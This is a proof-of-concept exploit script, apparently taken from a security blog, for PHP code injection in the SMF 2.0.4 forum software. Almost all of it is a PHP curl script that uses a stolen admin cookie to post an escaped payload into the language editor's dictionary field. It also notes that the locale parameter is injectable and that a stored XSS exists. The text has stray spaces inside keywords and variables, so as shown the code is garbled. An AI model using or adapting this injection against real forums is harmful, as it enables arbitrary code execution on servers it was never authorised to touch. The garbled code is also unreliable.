SMF 2.0.4 PHP Code Injection

<? Php // proof of concept that latest SMF (2.0.4) can be exploited by php injection. // payload code must escape from \ ', so you should try with something like that: // p0c \'; phpinfo (); // as a 'dictionary 'value. same story for locale parameter. // For character_set-another story, as far as I remember, because here we have // a nice stored xss .;) // 21/04/2013 // http://HauntIT.blogspot.com // To successfully exploit smf 2.0.4 we need correct admin's cookie: $ cookie = 'smfcookie956 = allCookiesHere '; $ ch = curl_init (' http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english '); Curl_setopt ($ ch, CURLOPT_HEADER, 1); curl_setopt ($ ch, CURLOPT_COOKIE, $ cookie); curl_setopt ($ ch, CURLOPT_POST, 1 ); // send as POST (to 'on') curl_setopt ($ ch, CURLOPT_POSTFIELDS, "character_set = en & locale = helloworld & dictionary = p0c \ '; phpinfo (); // & spelling = american & ce0361602df1 = Extract & save_main = Save "); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1); $ page = curl_exec ($ ch); echo 'Php code: <br> '. $ page; curl_close ($ ch); // to close 'loged'-in' part?>